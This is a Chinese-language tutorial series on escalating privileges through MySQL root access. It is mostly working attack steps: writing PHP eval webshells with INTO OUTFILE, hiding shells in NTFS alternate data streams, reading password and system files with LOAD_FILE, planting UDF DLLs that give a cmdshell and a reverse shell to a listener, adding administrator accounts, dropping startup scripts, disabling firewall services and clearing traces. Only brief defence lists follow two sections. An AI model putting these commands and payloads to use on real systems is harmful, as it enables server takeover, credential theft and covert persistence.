mysql提权篇

0x01关系型数据库管理系统MySQL提权基础

一、Mysql提权必备条件

1.服务器安装Mysql数据库

利用Mysql提权的前提就是服务器安装了mysql数据库,且mysql的服务没有降权,Mysql数据库默认安装是以系统权限继承的,并且需要获取Mysql root账号密码。

2.判断Mysql服务运行权限

对于Mysql数据库服务运行权限有很多方法,我这里主要介绍三种,一种是通过查看系统账号,也即使用“net user”命令查看系统当前账号,如果出现了mysql这类用户,以为着系统可能进行了降权,一般情况都不会降权。第二种方法就是看mysqld运行的Priority值,如下图所示。通过aspx的网页木马来查看Process信息,在图中我们可以看到系统权限的Priority值为“8 ”,如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联,一般情况下是不允许root等账号外联,外部直接连接意味着账号可能被截取和嗅探,通过本地客户端直接连接对方服务器,直接查看和操作Mysql数据库,可以通过扫描3306端口来判断是否提供对外连接。

查看Priority值来判断Mysqld服务运行权限

二、Mysql密码获取与破解

1.获取网站数据库账号和密码

对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:

1
2
3
4
1. $db['default']['hostname'] = 'localhost';
2. $db['default']['username'] = 'root';
3. $db['default']['password'] = '123456';
4. $db['default']['database'] = 'crm';

dedecms数据库安装的信息就是写在data/common.inc.php,Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。对于java会在/WEB-INF/config/config.properties中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。

对于Linux操作系统,除了上述方法获取root账号密码外,还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.6以下版本,由于设计Mysql程序时对于安全性的重视度非常低,用户密码是明文传输。MySQL对于binary log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令,那么会在binary log中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取,如下图所示。

查看binlog日志

2.获取Mysql数据库user表

MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解。对于Mysql数据库密码如果通过cmd5.com等网站不能查询到密码则需要自己手动破解,有关Mysql数据库密码手动破解,请查阅下一章。

3.Mysql密码查询

可以通过以下查询语句直接查询mysql数据库中的所有用户和密码。

1
2
1. select user,password from mysql.user;
2. select user,password from mysql.user where user ='root';

4.MySQL密码加密算法

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如下图所示。

1
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));

mysql数据库加密算法

三、Mysql获取webshell

Mysql root账号网站获取webshell具备的条件:

1.知道站点物理路径,网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。

2.有足够大的权限,最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysql.user进行测试。

3.magic_quotes_gpc()=OFF。对于PHP magic_quotes_gpc=on的情况,可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off 的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

4.直接导出webshell,执行下面语句

1
2
1. Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
2. and 1=2 union all select 一句话HEXinto outfile '路径';

也可以通过创建表来直接完成,其中d:/www/exehack.php为webshell的名称和路径:

1
2
3
4
1. CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
2. INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
3. SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd://Wh0ale.php';
4. DROP TABLE IF EXISTS `darkmoon`;

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

方法一:

这个原因其实很简单,是因为在安装MySQL的时候限制了导入与导出的目录权限,只能在规定的目录下才能导入

们需要通过下面命令查看 secure-file-priv 当前的值是什么

show variables like '%secure%';那么我们把导入的路径改为上面的值就可以了

方法二:

找到my.ini的配置文件,在my.ini文件中搜索secure-file-priv找到并将它的值改为secure-file-priv=‘’

重启MySQL就可以在任何目录下操作了

菜刀连接

5.有些情况下掌握了MSSQL数据库口令,但服务器环境是Windows2008,web环境是PHP,则可以通过SQLTOOLs工具,直接连接命令,通过以下命令写入shell:

1
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php

四、Mysql渗透有用的一些技巧总结

1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中,MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息,而load_file()作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个php的SQL注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1)一些常见的系统配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. c:/boot.ini //查看系统版本
2. c:/windows/php.ini //php配置信息
3. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
4. c:/winnt/php.ini
5. c:/winnt/my.ini
6. c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
8. c:\Program Files\Serv-U\ServUDaemon.ini
9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
10. c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe
13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
14. //存储了pcAnywhere的登陆密码
15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
16. c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
18. d:\APACHE\Apache2\conf\httpd.conf
19. C:\Program Files\mysql\my.ini
20. C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2. /usr/local/apache2/conf/httpd.conf
3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4. /usr/local/app/php5/lib/php.ini //PHP相关设置
5. /etc/sysconfig/iptables //从中得到防火墙规则策略
6. /etc/httpd/conf/httpd.conf // apache配置文件
7. /etc/rsyncd.conf //同步程序配置文件
8. /etc/my.cnf //mysql的配置文件
9. /etc/redhat-release //系统版本
10. /etc/issue
11. /etc/issue.net
12. /usr/local/app/php5/lib/php.ini //PHP相关设置
13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
22. /etc/sysconfig/iptables 查看防火墙策略
23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

(2)直接读取配置文件

1
2
3
4
5
1. SELECT LOAD_FILE('/etc/passwd' )
2. SELECT LOAD_FILE('/etc/issues' )
3. SELECT LOAD_FILE('/etc/etc/rc.local' )
4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

(3)Linux下通过load_file函数读出来的数据库有可能是hex编码,要正常查看需要使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。

2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell

NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等等。

(1) Mysql创建目录

当MySQL版本较高时,自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:

1
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

会在mysql目录下生成一个lib目录,这样你就可以将你的udf放在这个插件目录下了。

(2)隐藏webshell

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

1
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

3.有用的一些技巧

(1)3389端口命令行下获取总结

1
2
3
1. netstat -an |find "3389" 查看3389端口是否开放
2. tasklist /svc | find "TermService" 获取对应TermService的PID号
3. netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号
  1. netstat -an |find "3389" 查看3389端口是否开放
  2. tasklist /svc | find "TermService" 获取对应TermService的PID号
  3. netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号

(2)Windows 2008 Server命令行开启3389

1
2
3
1. wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
2. wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
3. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

(3)wce64 -w 命令直接获取系统明文登录密码

(4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

(5)Linux终端提示符下查看mysql有关信息,ps -ef|grep mysql

(6)Linux下启动mysql服务: service mysqld start

(7)Linux下查看mysqld是否启动:ps -el | grep mysqld

(8)查看mysql在哪里:whereis mysql

(9)查询运行文件所在路径 which mysql

(10)udf.dll提权常见函数

  • cmdshell 执行cmd;
  • downloader 下载者,到网上下载指定文件并保存到指定目录;
  • open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
  • backshell 反弹Shell;
  • ProcessView 枚举系统进程;
  • KillProcess 终止指定进程;
  • regread 读注册表;
  • regwrite 写注册表;
  • shut 关机,注销,重启;
  • about 说明与帮助函数;

具体用户示例:

1
2
3
4
1. select cmdshell('net user iis_user 123!@#abcABC /add');
2. select cmdshell('net localgroup administrators iis_user /add');
3. select cmdshell('regedit /s d:web3389.reg');
4. select cmdshell('netstat -an');

4.一些常见的Mysql命令

(1)连接到mysql 服务器

1
mysql -h 192.168.0.1 -u root -pantian365.com antian365

(2)查看所有数据库

1
show databases;

(3)使用某个数据库

1
use testdatabase;

(4)查看数据库中的所有表

1
show tables;

(5)在test数据库下创建一个新的表

1
create table a (cmd text);

(6)在表中插入内容添加用户命令

1
2
3
1. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
2. insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
3. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );

(7)查询a表中所有的数据

1
select * from a ;

(8)导出数据到系统某个目录下

1
select * from a into outfile "C:\\Users\\49974\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs";

被拦截

(9)查询数据库数据路径

1
select @@datadir;

(10)查看所有dir路径

1
HOW VARIABLES WHERE Variable_Name LIKE "%dir"

(11)查看插件路径

1
show variables like '%plugins%' ;

(12)查询MYSQL安装路径

1
select @@basedir

(13)常用内置函数

1
2
3
4
5
6
7
1. select system_user() 查看系统用户
2. select current_user() 查询当前用户
3. select user(); 查询用户
4. SELECT version() 查询数据库版本
5. SELECT database() 查询当前连接的数据库
6. select @@version_compile_os 查询当前操作系统
7. select now(); 显示当前时间

(14)获取表结构

1
desc 表名 或者show columns from 表名

(15)删除表

1
drop table <表名>

注:本文是笔者撰写的Mysql安全系列文章的第一期,后续我们会持续推出,敬请期待。

参考文章:

http://www.jb51.net/hack/41493.html

http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/

http://www.myhack58.com/Article/html/3/8/2016/75694.htm

http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html

0x02 MySQL数据库反弹端口连接提权

通过mysql查询来直接提权,可以针对以下场景:

(1)通过网站无法获取webshell

(2)Webshell无法执行命令

(3)有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径

注:本文是笔者撰写的Mysql安全系列文章的第二篇。第一篇为《关系型数据库管理系统MySQL提权基础》。

一、反弹端口连接提权的条件

1.访问Mysql数据库

获取了数据库root账号和密码或者相当于root权限的账号和密码,同时能够执行查询命令。换句话说可以通过phpmyadmin连接、通过网站后台的执行数据库命令或者“Navicat for MySQL”等客户端软件连接。

2.可导出文件udf.dll到系统目录或者Mysql数据库安装目录下的lib下的plugin目录。

如果有上传条件,可以直接上传udf.dll到对应目录。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目录,Mysql5.1以上版本到Mysql安装目录下的plugin 目录,例如D:\ComsenzEXP\MySQL\lib\plugin。

3.授权mysql数据库远程用户登录

可以修改host为%,更新权限,然后通过Navicat for MySQL连接数据库,直接打开命令提示窗口进行导出。

允许远程用户登录访问mysql的方法,需要手动增加可以远程访问数据库的用户。

方法一:本地登入mysql,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

1
2
3
4
1. use mysql;
2. update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
更改 "mysql" 数据库里的 "user" 表里的 "host" 项,从"localhost"改称"%"

方法二:直接授权

从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

1
2
3
4
5
1. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
2. FLUSH PRIVILEGES;
如果你想允许用户myuser从ip为192.168.1.6的主机连接到mysql服务器,并使用mypassword作为密码
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'192.168.1.3' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;

方法三:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
默认情况下,mysql只允许本地登录,如果要开启远程连接,则需要修改/etc/mysql/my.conf文件。

一、修改/etc/mysql/my.conf
找到bind-address = 127.0.0.1这一行
改为bind-address = 0.0.0.0即可

二、为需要远程登录的用户赋予权限
1、新建用户远程连接mysql数据库
grant all on *.* to admin@'%' identified by '123456' with grant option;
flush privileges;
允许任何ip地址(%表示允许任何ip地址)的电脑用admin帐户和密码(123456)来访问这个mysql server。
注意admin账户不一定要存在。

2、支持root用户允许远程连接mysql数据库
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
flush privileges;

二、具体实现方法

1.连接mysql服务器

(1)通过mysql客户端工具可以直接连接

(2)通过phpmyadmin进行连接

(3)通过mysql.exe直接连接

2.执行查询命令

(1)网上提供的“. c:\mysql.txt”命令会出错,最好通过phpmyadmin或者Navicat for MySQL等工具来进行查询。修改mysql.txt中的最后一行代码“select backshell("YourIP",4444);”为自己反弹的IP和反弹监听的端口。

(2)本地开启监听反弹的端口

nc.exe -vv -l -p 4444

(3)执行mysql查询,将mysql.txt文件内容复制到查询中执行。

成功后,你将获得一个system权限的cmdshell。

3.添加用户或者获取管理员密码

通过反弹shell添加用户antian365,密码www.antian365.com

1
2
1. net user antian365 www.antian365.com /add
2. net localgroup administrators antian365

三、一个提权实例

图1进行监听

1.在反弹监听服务器上进行端口监听

通过cmd命令提示符,执行nc监听命令:nc –vv –l –p 4444,表示在本地监听4444端口。如果是在公网上,这反弹监听服务器必须有独立IP,如果是内部网络,则可以直接使用内网IP,如图1所示。

图1进行监听

2.修改mysql.txt文件中反弹地址

在mysql.txt文件中将最后一行代码修改为前面设置的监听IP地址和端口,如图2所示,例如代码:

1
select backshell("192.168.40.135",4444);//反弹监听服务器IP192.168.40.135,端口4444

可修改查询代码中反弹shell地址和端口

这个也可以再次单独查询:select backshell("192.168.40.135",4444);

3.执行查询

可以通过mysql命令行下执行,也可以通过phpmyadmin查询窗口以及一些mysql客户端查询进行,如图3所示执行查询。

1
2
3
4
5
6
7
8
use mysql;
set @a=concat('',0x代码);
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
代码为select hex(load_file('c:/udf.dll'))中的内容
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数
select backshell("192.168.40.135",4444);

说明:

(1)如果已经存在ghost表和backshell函数,可以执行以下命令进行删除:

1
2
1. drop table ghost;
2. drop FUNCTION backshell;

(2)如果已经存在udf.dll,则可以跳过导出命令,执行:

1
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

3.查看反弹结果

如图4所示,显示通过连接mysql执行查询获取的终端反弹shell,在该shell下可以直接执行net user、whoami等命令查看当前权限。

四、防范方法

1.查看mysql数据库中user表授权的登录host,禁止具备Root账号权限的用户通过“%”进行登录。

2.禁止在网站CMS系统使用root账号进行配置。

3.设置root账号的密码为强密码。

4.对Mysql执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止网站用户读取和下载。

5.检查mysql数据库下的mysql表中是否存在其它无关表,检查func表中的内容。

6.可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何人无读取和写入权限。

注:本文是笔者撰写的Mysql安全系列文章的第二篇,我们将会持续推出后续文章,敬请期待。

mysql利用ntfs的ADS创建文件夹 http://blog.csdn.net/yiyefangzhou24/article/details/17190135
MYSQL提权总结 http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390

phpmyadmin直接提权 http://www.hack80.com/forum.php?mod=viewthread&tid=1304

通过phpmyadmin各种技巧拿webshell https://www.exehack.net/99.html

0x03 实例解析:MySQL数据库扩展接口UDF提权

一、UDF函数简介

1.UDF介绍

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。UDF官方介绍以及其函数定义请参考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常见的UDF提权外,其实Udf还有更多更广泛的应用,例如https://github.com/mysqludf/repositories,就提供了非常多的应用:

lib_mysqludf_fPROJ4:一组扩展的科学函数,将地理经度和纬度坐标转换为笛卡尔坐标,反之亦然。

lib_mysqludf_json:用于将关系数据映射到JSON格式的函数的UDF库。

lib_mysqludf_log:用于将调试信息写入日志文件的UDF库。

lib_mysqludf_preg:直接在MySQL中使用PCRE正则表达式

lib_mysqludf_stat:用于统计分析的UDF库。

lib_mysqludf_str:一个带有MySQL附加字符串函数的UDF库

lib_mysqludf_sys:具有与操作系统交互的功能的UDF库。这些函数允许您与MySQL运行的执行环境进行交互。

lib_mysqludf_xml:一个UDF库,用于直接从MySQL创建XML输出。

有三种方法向MySQL添加新函数。

(1)可以通过用户定义的函数(UDF)接口添加函数。用户定义的函数被编译为库文件,然后使用CREATE FUNCTION和DROP FUNCTION语句动态添加到服务器或从服务器中删除。

(2)可以将函数添加为本机(内置)MySQL函数。本机函数被编译到 mysqld服务器并永久可用。

(3)添加函数的另一种方法是创建存储的函数。这些是使用SQL语句编写的,而不是通过编译目标代码。

二、Windows下UDF提权的条件和方法

Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。

udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

1. UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

2.提权方法

(1)获取数据库版本、数据位置以及插件位置等信息

1
2
3
4
1. select version();//获取数据库版本
2. select user();//获取数据库用户
3. select @@basedir ;//获取安装目录
4. show variables like '%plugins%'; //寻找mysql安装路径

(2)导出路径

1
2
1. C:\Winnt\udf.dll Windows 2000
2. C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib/plugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到F:\Website\phpstudy\PHPTutorial\MySQL\lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:

1
2
3
4
5
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

(3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:

1
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

(4)执行命令:

1
select sys_eval(‘whoami’);

一般情况下不会出现创建不成功哦。

连不上3389可以先停止windows防火墙和筛选

1
2
1. select sys_eval(‘net stop policyagent’);
2. select sys_eval(‘net stop sharedaccess’);

udf.dll下常见函数:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

具体用户示例:

1
2
3
4
1. select cmdshell('net user iis_user 123!@#abcABC /add');
2. select cmdshell('net localgroup administrators iis_user /add');
3. select cmdshell('regedit /s d:web3389.reg');
4. select cmdshell('netstat -an');

被杀,以后需要再去吐司下载吧。

(5)清除痕迹

1
drop function cmdshell;// 将函数删除

删除udf.dll文件以及其它相关入侵文件及日志。

(6)常见错误

1
2
3
4
5
6
7
1. \#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

2. SHOW VARIABLES LIKE "secure_file_priv"

在my.ini 或者mysql.cnf 文件中注销 (使用#号) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables选项去掉。

嘻嘻嘻

三、一个提权实例

1.设置Mysql提权脚本文件

将Mysql提权脚本文件上传到服务器上,运行后,需要对IP地址、UID、passwod、db进行配置,如图1所示,IP地址一般可以设置为localhost、127.0.0.1以及真实IP地址,uid默认为root,其它具有root用户权限的用户名称也可以,pwd为具有root权限用户的密码,db默认选择mysql,单击提交查询内容进行连接测试。

设置Mysql提交脚本文件

2.进行连接测试

连接成功后,会给出相应的提示信息,如图2所示,给出用户,数据库,数据目录(datadir),基本目录(basedir),版本,插件路径,mysql函数等信息。连接测试

3.创建“shell”函数

单击“Dump UDF” 将UDF.DLL文件导出到默认的插件目录下,然后再运行“Create Function”将创建“shell”函数。如图3所示,如果前面已经创建过shell函数,则会提示系统中已经存在“shell”函数 。创建“shell”函数

实例解析:MySQL数据库扩展接口UDF提权

4.查看用户

在查询窗口中输入“select shell('cmd','net user')”查看系统所有的用户,如图4所示,可以正常查看系统的所有用户信息。查看用户

实例解析:MySQL数据库扩展接口UDF提权

5.创建具有管理员权限的用户

分别在查询中输入脚本“select shell('cmd','net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp /add ')”并执行该查询命令,如果执行成功,则表示在系统中添加“temp”用户,密码为“temp123456”,同时将该用户添加到管理员组中,使其具备管理员权限,执行成功后如图5,图6所示。

实例解析:MySQL数据库扩展接口UDF提权

添加temp用户

实例解析:MySQL数据库扩展接口UDF提权

将用户temp添加到管理员组

6.提权成功

在SQL查询中输入“select shell('cmd','net localgroup administrators')”命令查看刚才添加到用户是否真的添加成功,如图7所示,查询结果表明已经将temp用户添加到管理员组中。

实例解析:MySQL数据库扩展接口UDF提权

查看管理员用户

目前对于一些网站来说,一般都会提供远程终端服务,只要用户添加成功,则可以直接登录该服务器,如图8所示,输入用户名和密码,成功进入该服务器,至此通过mysql的root用户成功提权。

图8成功进入服务器

四、其它提权工具

v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

1.自动导出你的backdoor和mof文件

2.自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权

3.导出LPK.dll文件,劫持系统目录提权

4.写启动项提权

UdF自动提权:

1
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK劫持提权:

1
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

启动项提权:

1
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st

例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权,如图9所示。

1
LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini');

实例解析:MySQL数据库扩展接口UDF提权

查看mysql数据库配置文件内容

五、UDF提权总结与防范

目前安装的Mysql数据库版本基本是高于5.1版本,通过Mysql查询可以导出udf.dll但由于mysql中my.ini文件的配置,有可能会导致无法创建自定义函数。这时候就需要修改my.ini进行重启。

1.提权总结

(1)有webshell的提权

如果获取了webshell则比较简单,目前有很多Mysql提权的PHP脚本,可以比较快速的进行提权,在此不赘述。

(2)无webshell的提权

select version(); //获取mysql版本

select @@basedir; //查找到mysql的目录

SHOW VARIABLES LIKE '%plugin%' //查看高版本插件位置

通过查询将udf.dll转成代码插入数据库,然后导出

1
2
3
4
5
6
7
8
use mysql;
set @a=concat('',0x代码);
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
代码为select hex(load_file('c:/udf.dll'))中的内容
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数
select backshell("192.168.40.135",4444);

(3)使用Python_FuckMySQL工具进行自动提权

1
2
3
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –m st

2.安全防范方法

(1)尽量避免提供对外链接,通过mysql中的user表进行查看,禁用“%”。

(2)设置复杂的Root账号密码。

(3)对my.ini设置只读属性,设置plugin目录为只读目录。

0x04 MySQL数据库Root权限MOF方法提权研究

MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

